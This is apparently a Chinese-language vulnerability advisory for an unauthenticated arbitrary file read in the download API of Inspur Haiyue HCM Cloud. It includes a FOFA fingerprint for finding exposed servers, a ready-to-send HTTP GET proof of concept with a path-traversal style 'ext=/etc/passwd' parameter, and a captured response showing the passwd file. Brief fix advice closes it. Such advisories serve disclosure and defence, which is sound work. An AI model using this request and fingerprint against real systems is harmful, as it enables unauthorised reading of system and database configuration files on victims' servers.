

浪潮海岳 HCM Cloud download 任意文件读取漏洞

漏洞描述

浪潮海岳 HCM Cloud download 接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

影响版本

浪潮海岳 HCM

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： icon_hash="-859381597"

POC/EXP：

GET /api/model_report/file/download?index=/&ext=/etc/passwd HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,;q=0.8 ,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

发送请求

强制 HTTPS

历史

美化

生成 Yarn

Request

数据包扫描 热加载 构造请求

1 GET /api/model_report/file/download?index=&ext=/etc/passwd HTTP/1.1

2 Host: 10.10.10.10

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

5 Accept-Encoding: gzip, deflate

6 Accept-Language: zh-CN,zh;q=0.9

7 Connection: close

Responses 1203bytes / 60ms

美化 详情

8 Etag: "808803f396d9f34d00db14995a3ba79c8/816b2"

9 Vary: Accept-Encoding

10 X-Content-Type-Options: nosniff

11 X-Frame-Options: SAMEORIGIN

12 X-XSS-Protection: 1; mode=block

13 Content-Length: 1203

14

15 root:x:0:0:root:/root:/bin/bash

16 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

17 bin:x:2:2:bin:/bin:/usr/sbin/nologin

18 sys:x:3:3:sys:/dev:/usr/sbin/nologin

19 sync:x:4:65534:sync:/bin:/bin/sync

20 games:x:5:60:games:/usr/games:/usr/sbin/nologin

21 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

22 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

23 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

24 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

25 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

26 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

27 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

28 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

29 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

30 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

31 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

32 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

33 _apt:x:100:65534:/nonexistent:/usr/sbin/nologin

34 systemd-network:x:101:102:systemd Network Management,,:/run/systemd/netif:/usr/sbin/nologin

35 systemd-resolve:x:102:103:systemd Resolver,,:/run/systemd/resolve:/usr/sbin/nologin

36 messagebus:x:103:105:/nonexistent:/usr/sbin/nologin

37 sshd:x:104:65534:/run/ssh:/usr/sbin/nologin

38

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本